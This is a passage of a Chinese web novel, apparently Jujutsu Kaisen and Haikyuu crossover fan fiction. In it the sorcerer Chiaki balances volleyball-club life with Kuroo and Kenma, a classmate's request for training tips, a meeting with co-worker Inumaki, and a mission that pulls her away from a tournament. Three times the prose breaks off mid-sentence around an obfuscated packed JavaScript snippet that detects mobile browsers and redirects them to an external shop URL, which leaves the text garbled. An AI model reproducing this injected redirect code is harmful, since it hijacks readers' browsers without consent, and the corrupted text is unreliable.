“你本来就会对咒力产生食欲,同时你对那个幼驯染产生的这种情感,可能会让你产生一种他的咒力格外美味的潜意识。” “因为是他的咒力,所以才会想吃。” 听到这个解释,千早打从心底里松了一口气。 太好了,她并不是真的想吃小黑。 真的太好了。 - “千早,你在发什么呆?” 黑尾的声音从身后响起,将千早从回忆中猛地拉回到现在。 千早惊得身体颤了一下,回头看向黑尾。 夕阳的余晖撒落在少年的身上,使他整个人看起来都十分温暖。 千早盯着他看了一会儿,“……小黑,不要吓我。”说完她拿着拖把转身想要放回仓库里。 体育馆内的整理差不多已经结束了,只剩下收尾。 “总觉得你今天状态有点奇怪,没休息好?”黑尾自然而然地跟在千早身后,一起进了仓库。 千早将手里的拖把放回到原来的位置:“不,我很好。” 黑尾斜倚着仓库门框,双臂抱在胸前,“训练的时候我可是看到好几次你在打哈欠了,研磨还说你有黑眼圈了。” 千早放拖把的动作一顿。 她有黑眼圈了吗? 她还真不知道,毕竟她祓除完咒灵后根本没照过镜子,直接就来了学校这边。 看着瞬间僵硬的千早,黑尾突然道:“骗你的。” “但没有马上否认,就说明你确实没有休息好吧。” 千早:“……” 挡在刘海下的眼睛瞪了黑尾一眼,“过于纠缠的话,会不受女孩子欢迎的哦小黑。” “如果是那种话题的话,能不能去别的地方谈。” 在仓库深处,研磨懒洋洋的声音突然冒了出来。 仓库安静了一瞬。 千早回头看向声音传来的方向,虽然看不到研磨的身影,但她多多少少猜到了对方躲在这里干什么。 “研磨你又躲在这里偷懒玩游戏吗?马上就结束了,快点出来吧。”跟千早一样,黑尾也猜到了研磨在这里的原因。 里面传来有些无可奈何的叹气声,然后是脚步声。 研磨将游戏机收起来,走到两人面前,没给她们质问自己的机会直接道: “千早,你昨晚没睡吧。” 千早心中暗道糟糕,连忙双手叉腰站到研磨身边,“研磨今天很认真地训练了,所以稍微玩一会儿游戏也没什么的,你不是也说要劳逸结合吗?不要责怪研磨啊小黑。” 看她这幅样子,两人还有什么不明白的。 研磨多半是说对了。 与平时那副吊儿郎当的样子不同,黑尾的语气变得正经起来眉头也皱在一起,“又是你那个不能说的打工?” “你把自己逼的太紧了,如果上了夜班的话,今天休息也可以的。”研磨抬眼看向身侧的千早,并没有因为她为自己说话就放过她,“你为什么这么急切?” 急切。 也许是这样吧。 现在她还能像这样挤出时间来跟他们两个见面,还能趁着上学的时候多与两人相处。 但是三年后呢? 等她正式成为咒术师的三年后呢? 黑尾两步走上前,抬手拨开千早额前过长的刘海,露出了下面被遮挡住的眼睛。 那双湖蓝色的眼睛依旧是美丽的,但是与前几日看到的不同,隐隐有些红血丝。 “走吧,我们早点回去。” 看到这样一双充满疲惫感的眼睛,黑尾没再说些责备的话,拉着千早直接走出仓库。 黑尾和研磨两人以极快的速度来到更衣室,换好衣服后走出来。 突然之间黑尾像是想到了什么一般停住脚步,看着千早语气有些不确定地道: “要我背你吗?这样的话,你也能稍微睡一会儿吧。” 13. 第 13 章 看着已经蹲在身前的黑尾的背影,千早脚步猛地顿住,耳垂刹那间被晕染上一片红。 本来毫无征兆地突然被人提出要背自己的这种情形就已经足够让她手足无措,旁边还有个存在感极强的研磨看着他们,眼中看戏的意味更是藏都藏不住。 虽然他也可能压根就不想藏。 避开那道明晃晃的戏谑的眼神,千早慌忙别开脸,努力想要压住自己心中那股莫名的不知该如何形容的情绪。 她几次启唇又闭上,最后终于稍稍控制住,使自己的语气听起来与平时一般毫无异常。 “……不要。” 像是怕被对方听出她此刻的不自在,她语气僵硬地补了一句。 “感觉、会有股汗臭味……” “……” “……” 黑尾维持着蹲在地上的姿势,但身体却霎时僵在原地,缓缓转过头看向不知道在想什么的千早。 眼神中含着些许无奈,黑尾有些好笑地看向别开脸根本不敢看向这边的千早:“汗臭味?别污蔑我啊,我可是刚换完衣服,干净得很啊。” 但为了不戳穿千早,他虽然为自己辩解了,但还是摆出一副被打击到的委屈模样。 “噗……” 看不下去的研磨偏过脑袋捂住嘴,笑声很低,但整个身体都在颤。 显然忍得很辛苦。 千早:“……” 千早磨了磨牙,甚至是故意发出能够让两人听见的声响。 黑尾笑着起身站直,他哪里猜不到千早只是不好意思了。 对方这一幅下一秒就要扑过来咬人的样子,成功打消了他继续逗一逗的想法。 再逗下去,怕是要被她来上一口。 他摊开手,语气里夹杂着笑意,“好吧,那就自己走,不过要是中途觉得累了或者困了的时候,随时跟我说。” “虽然小的时候背不动你,但是现在的话背着你走到车站还是很轻松的。” 千早沉默半晌,缓慢地点了点头。 三人并排走在一起,落日将她们的影子拉得很长。 和往常一样,千早跟他们一起上学放学的时候都是坐地铁回家,今天也不例外。 走下楼梯等地铁的时候,研磨已经拿出了游戏机。 周日的傍晚,站台上行人来来往往,不注意点的话很容易跟行人撞到。 “坐上车再玩吧,”黑尾提醒完侧头看了眼屏幕,有些好奇:“以前没见你玩过这个,新买的游戏?” 研磨点头嗯了一声,虽然双手还举着游戏机,但视线已经从屏幕上移开:“是千早买的。” 啊,是之前说的‘封口费’。 千早这才后知后觉反应过来,研磨现在玩的是之前她空闲时间去商场买的那款游戏。 黑尾这次倒是没再调侃她乱花钱,只是看向她时眼中的担忧很明显,“你工资真的够花吗?” “别看我这样,”千早看向他,挺了挺胸颇有些自满地道:“我的存款可是有不少呢。” 这话倒是一点不假,咒术师别的不说,工资是真的高。 就是有点废人。 不然工资也不会这么高。 更何况她还是特级咒术师,这些年的薪酬积累下来也是一笔可观的金额了。 想到自己存折上的余额,千早有些骄傲,“哪怕是养小黑和研磨都足够了。” 这话说完,黑尾更担心了,就连研磨都放下了手中的游戏机。 “你那工作……合法吗?” 千早只犹豫了一秒就给出答案,“当然合法了。” 黑尾和研磨两人同时沉默下来。 察觉到气氛变得有些微妙,千早看向两人的脸,发现上面写满了不相信。 “真的合法,”千早连忙摆手,声音都不自觉提高了几分,“再说了我哪里有门路去找不合法的工作啊。” 黑尾看向研磨,两人对视一样,没再多说什么。 因为这番话说的确实合理,就像她自己说的那样,一个高中生哪里有那种门路。 “但是……” 黑尾的话被打断,千早抢先一步打断他,顺着他的话继续说下去,“但是,要注意身体的健康,像今天这种情况在家里休息也不会有人说什么的——对吧?” 见她明白自己的意思,黑尾只能无奈地点了点头。 “放心吧,关东大会之后我会休息的。” 她刚想再说些什么,察觉到口袋里的手机轻轻震动了几下,她拿出来想要查看。 “……不会又是你打工的地方吧?你接下来必须回家好好休息了。”黑尾见她拿出手机,手机微微震动着,语气难得严肃起来。 看着屏幕上显示的东西千早否认,“不是哦,不过也确实跟工作有关系……”她点开信箱,“是我的新同事发来的信息。” 屏幕上跳出的,是一个陌生号码发来的短信。 [抱歉打扰你了,熊猫他们说最好还是跟你交换一下联系方式,但是上次见面没来得及,就直接朝他们要了你的电话号码,如果方便的话可以保存一下我的联系方式吗?] [我是乙骨忧太。] 千早先是给这串陌生号码备注了姓名,然后简单回了消息。 [朝比奈千早。] [没关系,我上次离开高专前也忘记了问你要联系方式,今后作为咒术师一起加油吧。] 地铁缓缓进站,三人随着人流走进车厢。 周末的傍晚,车厢里的人并不比平日里少,虽称不上满满当当,却也没有一个空座位。 车厢微微摇晃,千早三人靠在门边。 手机屏幕被她按灭放回口袋里。 “说到新同事,你跟工作地点的同事们相处的怎么样?”想到平时千早在学校里的社交能力,黑尾有点担心,“如果性格合不来的话,只维持表面上的友好就可以,别太为难自己。” “同事”啊…… 一定要说的话,里面确实一个普通人都没有,但是大家都不是坏人。 虽然最开始跟狗卷棘说话的时候,完全不能理解对方在说什么。 毕竟对方是咒言师,所以只会说饭团配料,交流难度比祓除咒灵要难得多,但随着沟通的次数增多,大致也能明白对方想表达的意思。 不如说,如果有普通人混进来就糟糕了吧。 虽然现在多了一个乙骨,但是能被那样的诅咒缠上,怎么可能算是普通人。 “嗯、大家都挺好相处的。”千早点点头,随即话锋一转:“比起这个,马上就要比赛了,但是队里现在的这种状态真的没关系吗?” 千早指的自然是排球部的事情。 现在的正选成员,只有二、三年级。 二年级的黑尾,夜久还有海,其余的正选成员全部是三年级。 “我并不是在说小黑你们,”千早丝毫不打算给高年级的几个部员留面子,直白地道:“但是三年级的那几人,明明马上就是比赛了却还在偷懒,教练看上去似乎也完全放弃了的样子。” 不过直井教练也算是新人教练,刚来没多久。 如果他们像研磨一样只是偶尔偷懒的话也就算了,千早也不会多说什么,人总是要休息的。 但是三年级的几人是与研磨正相反,他们是偶尔才练习一下。 而且也不会认真对待练习,队内进行分组练习的时候,只要球稍微打的远一点,能接到的球都不会去接。 发球练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479951|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习的时候也是,搞什么啊那种慢悠悠的发球,是生怕别人接不到吗? 比赛规则难道是让对手接到球才算得分吗? 还有二传的石川。 情绪极其不稳定,在打球的时候他的情绪也会影响到他的二传水平。 本来水平就已经很差了,居然还能时常表现出接近初学者的水准,某种意义上来说也是天才。 总之,整个球队可以说是毫无默契可言。 说到底。 到底哪个二传会往周围根本就没有人的地方传球啊,这种意外如果只是一次两次也就算了。 但却是经常发生这种情况。 这又不是隔壁黑○的篮球,我们队里没有能‘隐身’让别人看不到的队员啊! 还有那种能从球网下面飞过去的发球。 说实话,千早看到的时候真的笑不出来。 排球比赛中,失误甚至是低级失误并不少见,哪怕是职业球员也是如此。 但是能够如此频繁且种类多样的低级失误…… “小黑,那几个人绝对更适合当喜剧演员。” 回忆结束后,千早做出了总结。 黑尾先是一愣,随即忍不住笑出声,因为是在地铁上,他控制住了音量,尽量不影响到其他乘客。 “喜剧演员?亏你想得出来。” 研磨倚靠着车门,语气平淡地补刀:“确实,失误比得分精彩。” 千早认真地点点头,简直是把对三年级的嫌弃写在了脸上,“说白了还是态度问题。还有,因为自己比别人早出生一两年就仿佛自己是个很伟大的人一样,这一点也很火大。” 黑尾失笑,他何尝不知道三年级部员的问题。 但对方是高年级的前辈,他这个二年级的不好直接说些什么。 “对了,你们还不知道吧。”黑尾突然想起之前从教练那里听来的事情。 一句话将两个人的注意力都吸引了过去。 研磨双手拿着游戏机,抬起眼皮:“什么?” 许是因为接下来说的消息实在令黑尾喜悦,他笑得格外开心。 “教练之前跟我说,猫又教练考虑等今年的高三毕业后回来。” 猫又教练。 虽然他并非现在的排球部教练,但是在场的三人都对这个称呼很熟悉。 那是曾经带领音驹打进全国大赛的前教练,同时—— 也是让年幼的黑尾彻底喜欢上排球的人。 虽然千早见到他的次数并不多,但是经常会听到黑尾和研磨他们提起。 不仅如此,如今音驹排球部的教练直井学也曾经是猫又教练的学生。 “……看来以后的训练会变得辛苦起来。” 研磨的游戏机屏幕上出现“GAMEOVER”的鲜红色字体,他却丝毫不在意。 千早拍了拍他的肩膀,“这不是很好吗,研磨你也想以后成为正式部员之后一直赢下去吧。说不定有猫又教练的教导,音驹会像以前一样再一次进入全国大赛。” 有猫又教练在的话,说不定她身上的担子也能轻一点。 “冷静点千早,目前也只是有这个可能。”黑尾虽然这么说着,但嘴角勾起的弧度却彰显着他也只是在克制自己的喜悦。 “说我之前,你好歹先控制一下自己的表情啊小黑。”千早回嘴道。 地铁到站后,回家的路上千早的步伐可以说是极其轻快。 看着走在最前面一蹦一跳的千早,研磨瞥向笑眯眯的黑尾:“感觉她已经快要跳起来走路了。” “这家伙难得这么开心,兴奋一点也没什么不好的。”黑尾抬头看向周围熟悉的街景,“而且马上就要到家了,还是让她吃完饭再休息吧。” 14. 第 14 章 高大的影子笼罩在课桌上,原本趴着的千早直起身抬头看向来人。 发现站在自己桌前的是排球部同时也是同班的山本猛虎。 千早歪了下脑袋,虽然没有直接说出口,但还是用肢体动作表达了自己的疑惑。 开学两个多月,她跟这位山本同学虽然时常碰面,却一句话都没有说过。 是的,一句话都没有说过。 所以现在这是在干什么? 一个不曾交谈过的高大健壮的男生莫名其妙地站在她的课桌前,眉头皱在一起一副凶神恶煞的样子紧盯着她。 千早对此感到有些莫名其妙,抬眼看了回去。 “那是在干什么?” “不知道。” “你快别看啦,怪吓人的。” 班里的一些同学都察觉到了这边的异样,三两个人聚在一起看着这边窃窃私语。 千早不想继续耗下去,动了动调整了一下坐姿,抬起左臂手肘撑在桌面上,单手托腮: “有事吗?” 这应该是千早第一次在班级里跟山本对话。 在排球部里的时候,虽然山本不会回话但偶尔千早也会单方面跟他交谈。 比如。 “山本,你有看到小黑吗?” “山本,你有看到研磨吗?” “山本……” 不是找人,就是社团相关的话题,总之从来没说过别的话。 虽然每次山本都不会回话,但会肢体极其僵硬地用动作告诉她答案。 比如他没有看到小黑会直接摇头,如果看到并知道对方现在的所在地的话,会用手指帮她指一个方向。 千早也不是笨蛋,看他平时在班里的表现就知道。 山本猛虎是个不擅长跟女性相处的好人。 虽然从外观上看有些像小混混,但开学第一天就已经跟班上的男生称兄道弟,不过从未主动跟哪个女生交谈过。 千早的视线越过他,看向他身后黑板正上方的时钟。 秒针不紧不慢地走动着,但分针只差两三格就要指到数字上。 马上就要上课了。 眼瞧着面前的山本即使把整张脸都憋得涨红,也没能吐出一个字。 千早决定放过他,也放过自己。 虽然她并不在意他人对自己的看法,但总觉得再这样下去的话,恐怕下一个课间山本也会像现在这样来她桌前“站岗”。 “山本,如果你有事找我的话,可以在短信里……” 千早边说着边坐直了身子,手顺势从腮边滑落伸向口袋,想要把手机拿出来。 却见面前表情古怪的男生,双手紧握像是终于下定了什么决心一样张开嘴。 “朝、朝比奈平时都是怎么进行力量训练的?!” 声音响彻整间教室,就连走廊里走动着的同学都纷纷停下脚步,探头看向教室里。 饶是千早,都被惊得呆在原地,正在翻找手机的指尖也停在了半空中。 缓过神后她呆愣愣地抬头,看着面前因为成功将话说出口而彻底放松下来的山本。 “…啥?” 教室里因为他的大喊声安静了一瞬,然而不过片刻就突兀地响起几道大笑声。 千早看向声音来源,发现是平时经常跟山本待在一起的几个男生。 “喂山本,我还以为你难得主动找女生是要做什么,结果居然是请教这种事情吗?” “话说问女生这种问题太逊了吧哈哈哈!” 山本闻言立刻转过身,对那几名笑话他的男生举了举拳头,“喂你们几个!待会儿可别跑!” 虽然他这么说着,但语气更像是好友之间的打闹。 许是因为主动跟千早搭过一次话放松了下来,他再次看向千早时,表情已经没有最开始那么僵硬,声音也不再磕磕巴巴。 “拜托你了,我想变得更强!” 千早张张嘴,刚想说些什么。 “叮铃——叮铃——” 是上课铃响起的声音。 - 天台上的午饭三人组,今天多了一名成员。 “所以你就因为想问这个,今天才跑过来跟我们一起吃饭的?” 黑尾听完上午发生的事情,笑了半天,坐在旁边的研磨被他拍的肩膀直疼,缓过笑意后他擦去眼角溢出的生理泪水,才终于直起身看向作为‘临时成员’加入的山本猛虎。 与同班可以胡闹的好友同学不同,黑尾比山本高了一届,不能用上午对待同学的态度来‘威胁’前辈。 山本弯腰将自己的便当盒放到长椅上,视线落到坐在椅子上正面无表情吃饭的千早身上,但口中的话语却是解释给黑尾听的。 “之前我想去做力量训练的时候,正好撞见她在做器材的清洁,然后……”山本说着说着,脑中自动浮现起当时的情形,“然后我就看到她将所有杠铃片拆下来后一口气将它们全部拿回了仓库……” “不仅如此,周末早上我在晨跑的时候也遇到过她。” 排球部每周周六都会给部员放假休息,山本不想浪费掉一整天,所以即使是休息日也会出去晨跑。 他无法忘记当时的情形。 “这家伙一边双手拿着哑铃一边轻轻松松把我超过去了!” 闻言在场的黑尾和研磨齐齐扭头看向装作若无其事的千早。 迎着两人那直勾勾的眼神,明明没有犯错,但千早却莫名有种心虚感。 她想了想措辞,咽下口中的食物,“山本,我的训练方法对你是没有用的。” 山本张嘴想要继续追问原因,黑尾却先开了口: “这家伙属于天生异禀,从小力气就大到惊人。”解释完他再次看向继续扒饭的千早,露出和善的笑容,“不过千早,你为什么要拿着哑铃跑步?” 山本提出的问题有人帮千早回答,但黑尾提出的问题在场却没有任何一个人可以帮她。 千早只能自己干巴巴地为自己辩解:“……之前的负重太轻了,我还没来得及买新的。” 她怎么知道会被排球部的人看到,要是早知道的话就不拿哑铃了,大不了多加几层负重。 “山本,打排球并不需要一味地追求力量。”千早看向十分渴求力量的山本,“你知道我为什么很少会打排球吗?” 山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479952|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不解,但他确实很少看到千早主动碰排球。 “因为别人的失误只是丢分,我的失误可是会要人命的。” 千早告诫的话语将山本震在原地。 他没有第一时间理解这句话表达了什么,但却在缓过神来后瞬间想通了。 哪怕是在那些排球比赛中都会出现失误的情况,发球、扣球,哪一项都有可能出现失误。 朝比奈千早的力气太大了。 其他人发球扣球时没有控制好力气的话可能只是出界,但如果没控制好力气的那名选手正好是她呢? 那会让比赛从中途开始转变成事故。 山本理解了,但他依旧想要从千早那里寻得让自己变强的方法。 “我应该没办法把力量练到这种程度,但是我果然还是想知道你的训练方法。” 千早盯着目光坚定的山本,知道自己无法说服他。 所以,她选择了放弃。 “小黑,接下来就是你的工作了。”放弃的同时,千早拉了一个人来当自己的帮手。 虽然社团里的大家没有明说,但谁都知道下一任的部长非黑尾铁朗莫属。 那么,帮助部员解决问题自然也是他这个前辈加未来部长的工作之一,而非她这个连经理都算不上的外部人员。 置身事外正在看好戏的黑尾突然被拉下水,他稍稍瞪大眼睛,手指指向自己。 “诶?我吗?” “当然了。” 千早很清楚,术式带来的加强,自然也包括了她自己的身体素质,虽说单论□□的能力恐怕以后也无法达到天与咒缚的强度,但也绝非普通人可以比的。 “我的训练方法绝对不适合他。” 虽然没能达成预期目标,山本还是接受了这个结局。 他转身朝向黑尾深深鞠了一躬。 “拜托你了黑尾前辈!” “无论是多么辛苦的安排都可以,我会用斗志克服过去的!” 见终于让对方放弃执着于自己的训练方法,千早心中松了一口气。 她对着黑尾做出一个握拳的动作,整个人松懈下来,仿佛把这件在她眼中称得上麻烦的事情推给黑尾的不是她一般。 无视掉旁边黑尾和山本两人有些吵闹的交谈声,千早放下手中的筷子和空荡荡的便当盒抬头望向天空。 今天也是和平的一天。 - “我说你啊,中午的时候居然就那么轻描淡写地把任务抛给我。” 社团活动结束后,千早和黑尾、研磨两人一起走出校园。 就连旁边一副事不关己的研磨也没被黑尾放过。 “还有研磨,你以为我没有看到你在偷笑吗?”不知想到什么黑尾的表情突然变得有些阴恻恻,“之后我也会让你增加训练量的。” 研磨一副不情愿的样子拉长语调诶了一声。 “对了,千早你不是说想买新的负重吗?”黑尾脚步一停,转向与前往地铁站完全相反的方向,“今天就去买吧。” “你还记得啊。”千早嘴角浅浅的笑意消失。 黑尾有些奇怪地看着她,“那不是当然的吗?” 15. 第 15 章 音驹附近的一条商业街上就有一家体育用品店,店面不算太大,但胜在东西齐全,放学后偶尔会有音驹的学生来这里买东西。 一进店千早走向放着负重的货架,黑尾和研磨则拐进了排球用品那一区域,两边离得并不远,两人准备在千早买完东西之前在这里消磨一下时间。 今天不知是怎的,店里的客人只有他们三人,店内十分安静,只有千早的方向偶尔会传来一些响动。 再有就是…… 黑尾看向旁边低头打游戏的研磨。 再有就是研磨手中游戏机里偶尔传出来的微弱音效和bgm。 就在这时,门口突然传来自动门打开的细微声响。 黑尾下意识抬眼看向门口的方向。 发现是一个看起来与他们差不多大的男生走了进来,只是这少年多多少少有些显眼。 银白色的短发,看起来有点刺刺的,身上穿着一身黑尾从没在这附近看到过的校服款式,纯黑色的校服,最奇特的还是明明快到夏天少年却戴着脖套,遮住了下半张脸这一点。 有些奇怪。 黑尾下意识地多看了两眼。 结果就看到那个少年目光在店里环视了一圈后,视线定定落在了某一处,然后径直走向了那个方向。 是千早在的方向。 等一下,好像不是千早在的方向,而是目标就是千早? 黑尾拍了下研磨的肩膀,“喂研磨,”指向千早那边:“你看。” 研磨应声,抬头朝着黑尾手指指的方向看过去,游戏机里的角色因为再没人操控被boss打死。 那个银发少年跟千早之间的距离已经很近。 “昆布。” 千早正站在货架面前,一手拿着一个商品正在对比,听到熟悉的声音和词语动作一顿,偏头看向身后。 “……狗卷?” 她的语气中带着一丝意外,但更多的是在面对熟人时的熟稔。 像是在意想不到的地方,碰到了认识的人。 狗卷道:“鲑鱼。” 千早好奇地往他身后看了眼,没有看到任何人,“你怎么在这里,而且还是自己一个人。” 狗卷点了点头,然后低头看向自己的脚。 “金枪鱼。” 千早跟着一起低头看向下面,发现狗卷右脚穿着的那只鞋的侧边裂了个不小的口子。 考虑到场合不对,千早没有多问。 她抬起头看向鞋架的方向,指了指那边,“鞋的话在那边。” 说完她转身朝鞋架的方向走了几步,想到什么又停了下来,回头看向排球用品区域。 发现黑尾和研磨正鬼鬼祟祟地看向这边。 不对鬼鬼祟祟的只有小黑一个人,研磨看起来更像是被他拉下水的。 黑尾的手上虽然拿着一双黑色的护膝,眼睛却看向这边,而研磨站在他旁边,毫不遮掩地看向千早这边。 然后她跟小黑的视线撞在了一起。 千早面无表情地朝他们招了招手。 黑尾立刻把东西放回货架,表情极其自然地走向这边,仿佛偷看被抓包的不是他一样,研磨跟在他身后一起走过来。 “认识?”黑尾走到千早面前,看了一眼狗卷。 “嗯。”千早言简意赅地说道:“狗卷棘。是我打工的同事,算是熟人。” 进店时没有看到她们待在一起,狗卷没想到三人居然认识。 他朝黑尾微微点头,然后说出了让黑尾有些不明所以的话。 “海带。” “诶?”黑尾愣了下,眨眨眼:“……他说什么?” 千早面不改色地帮他翻译:“他在对你打招呼,就是你好的意思。” 黑尾有些惊讶,看向狗卷点了点头,“你好,我是黑尾铁朗。千早她一直麻烦你照顾了。” 一直站在黑尾身后的研磨此刻也探出头,视线在狗卷衣领上样式奇特的纽扣上停了一秒,然后又低头看向狗卷脚上那只损坏的有些厉害的鞋。 黑尾稍稍侧开身体将身后的研磨露出来,“研磨你也打声招呼吧,毕竟是一直照顾千早的同事。” 研磨垂首不再看狗卷,声音极轻道:“孤爪研磨。” 狗卷再次说出那个词汇,这一次不用千早翻译,黑尾和研磨也能明白对方是什么意思。 研磨抬眼看了狗卷一眼,没有说话只是微微点了一下头,幅度很小。 狗卷脚上的鞋,加上千早刚刚给狗卷指的方向使黑尾立刻明白过来对方为什么会来这里。 黑尾侧身让开一点位置,“先去挑鞋吧。” 但狗卷没有马上朝那边走,而是盯着黑尾看了好几秒后才转头看向千早,“金枪鱼蛋黄酱。”将千早的视线吸引过来过,他指了指黑尾,“鲑鱼子。” 像是担心千早没办法理解自己的意思一样,他又在眼睛上比划了几下。 狗卷的担心是对的,千早起初确实没能明白他的意思,但在看到他的动作后理解了。 “啊...声音很像吧。” 狗卷点点头:“鲑鱼鲑鱼。” 黑尾不明所以但能感觉到两人是在说自己的事情,有些茫然地左看看右看看:“你们在说什么?” 千早对着狗卷露出一个让人安心的笑容,“不过有些像的也只有声音而已,不是同一个人。” “不是那个人假扮的。” “不要无视我,千早你们在说谁啊?” 千早和狗卷对视,两人同时弯起眼睛笑了一下,“没什么,只是小黑你的声音跟我们打工地方的一个上司有点像。” 她不肯再多说,朝着放鞋的货架走去。 狗卷朝着黑尾两人抬了抬手,然后跟上了千早。 黑尾正要跟上,研磨的话却让他快要迈出去的脚收了回来。 “千早和他,好像很有默契的样子。” 黑尾以为他指的是狗卷同学那些莫名其妙的话语,“因为是在一个地方打工吧,虽然说的话有些让人听不懂,但相处时间长了应该也能明白一些。” 研磨却意味深长地看了他一眼轻声道:“如果要说时间长这一点的话,跟千早同班的山本同学才应该跟她更默契吧?千早和这个狗卷同学,关系应该很不错。” 说完他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479953|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再管黑尾,迈步朝着已经开始看鞋的两人走去。 黑尾站在原地,看着研磨的背影张了张嘴,却什么都没说。 - “不过,看到你有除了我和研磨以外的朋友我倒是有点放心了。” 买完东西回家的路上,黑尾看着前面冷不丁说道。 千早看着他半是抱怨地道:“你说得好像我被排挤,根本没有朋友一样。” 黑尾沉思了一下,“确实,你的话更像是你一个人排挤了其他所有人。” 千早有些无语:“我只是不太喜欢跟人接触,又不是不能跟人接触,而且你看我很忙啊。” “我要打工,要上学偶尔还要去排球部帮忙。” 这一点黑尾无法否认,甚至他偶尔会劝千早不用来帮忙平时多休息。 “对了,你刚才跟那位狗卷同学说的声音跟我很像的上司,是个怎样的人?”黑尾一直记挂着这件事。 提到这个,研磨也有些好奇。 因为他们从未听千早提起过这件事和这个人。 本来以为这只是一个很简单的问题,却不曾想千早反而沉默了下来。 像是不知道该怎么说一样。 千早确实有些不知道该怎么跟两人解释。 说实话,除了咒术或者高专相关的事情以外,她很少会有事情瞒着两人。 但是包括她自己的身世以及五条悟的存在,她从没跟两人提过。 毕竟没有特意说出来的必要。 看着千早停下脚步沉默的样子,黑尾问道:“怎么了,你那个上司难道是个很难形容的人?” 黑尾本来只是随口一说,没想到千早竟然真的露出一副纠结到底该怎么说的表情。 经过一段时间的纠结后,千早还是决定露一点地。 “严格来讲,他对我来说不只是上司。” “……恩人加上司,这种说法更好一些吧。” “恩人?”黑尾和研磨两人异口同声,不只是黑尾,研磨也有些惊讶会在这种时候听到“恩人”这种词突然出现。 “等一下,那是什么意思?”黑尾连忙追问。 “包括我现在住的那栋房子,以及我高中之前的生活费学费等一切费用都是多亏了那个人。” 这句话包含的信息量实在有些大。 两人都被震得呆住,片刻后研磨突然问道:“……是你的亲戚?” 千早是后来搬到他们两家附近的,但那也是七八岁的时候的事情了。 如果不是亲戚的话,很难解释两个人之间的关系。 但没想到千早却否认了:“不是亲戚,至少我知道的情况是这样的,我们两家祖上应该也没有什么姻亲关系之类的。” “其实严格来讲他应该算是我的监护人吧。” 黑尾道:“那你现在的这份打工?” 千早点头:“嗯,为了报恩加上赚钱。” 研磨还有些存疑:“他跟你的双亲认识吗?” 千早想了想有些犹豫道:“跟我母亲是肯定不认识的,但是父亲的话,他们两个关系怎么样我不太确定,但肯定是认识的。” 16. 第 16 章 六月初始。 东京的梅雨季还没有真正到来,但空气中已经透出一股子的霉味。 体育馆外挂满了各个学校的彩色旗帜,入口处穿着不同颜色队服的学生们三三两两分散开,有的在为接下来的比赛做拉伸运动,有的在与队友商讨战术。 今天,是关东大会的第一天。 音驹排球部的队员们估算好时间,提前从学校出发抵达了会场。 大巴在停车场停稳,车门缓缓打开,最先从大巴上跳下来的是表情从容,并不怎么把比赛放在心上的三年级部员,后面跟着二年级和一年级。 相较于三年级,二年级的三人表情反而更沉重一些。 直到最后一个一年级山本猛虎从车上下来,车门缓缓关闭,千早的身影都没有出现。 研磨不动声色地走到黑尾后面小声道:“千早有事来不了有点遗憾呢。” 黑尾将手中提着的包甩到肩上,“突然有工作也没办法。” 是的。 关东大会开始的前一天晚上,也就是昨天晚上。 三人齐聚黑尾家中,正围着那张被仔仔细细研究过无数遍的对阵表讨论比赛的事情时。 千早接到了一通电话。 她打开手机,看到屏幕上显示的东西后脸上的表情变得有些微妙,像是碰到突发情况一样。 她起身匆匆对着两人道:“我去接个电话。” 说完也不顾两人的反应,脚步飞快地走向阳台的方向,阳台的玻璃门被拉开又关上,发出轻微的咔嚓声。 黑尾抬起头还没来得及说什么,千早已经去到阳台上,他跟研磨对视一眼,心里有了些许猜测。 千早关上门后才接通电话。 “喂?” 电话里传来伊地知略带歉意的声音,背景音有些嘈杂,应该是正与其他辅助监督一起待在办公室里处理工作。 “朝比奈同学,非常抱歉这么晚打电话打扰你,但是有突发任务,恐怕需要出差一段时间。” 不祥的预感成真了。 千早有些烦躁地闭上眼睛,大拇指在眉心上揉了揉。 最后她接受现实:“好的,我知道了。现在就出发吗?” “我已经让新田小姐出发了。” 电话挂断,千早在阳台上停留了两秒,再次拉开玻璃门回到房间内。 她走到两人身旁,黑尾和研磨坐在地板的垫子上,正回头看着她。 千早的声音有些低落,“抱歉,我突然有工作明天不能去看比赛了。” 黑尾和研磨并没有怎么放在心上,先不论黑尾,明天作为一年级的研磨应该不会有上场机会。 听出她的心情不太好,黑尾甚至反过来安慰道:“有打工的话当然要优先那边,如果你无论如何都想看比赛的话……”他手指向研磨,嘴角扬起:“研磨会录像的。” 研磨有些嫌麻烦地长长诶了一声,尾音拖得很长,像是不太情愿的样子,但没有拒绝。 “嗯,那就麻烦你了研磨。”千早拎起被她随手放在地板上的书包。 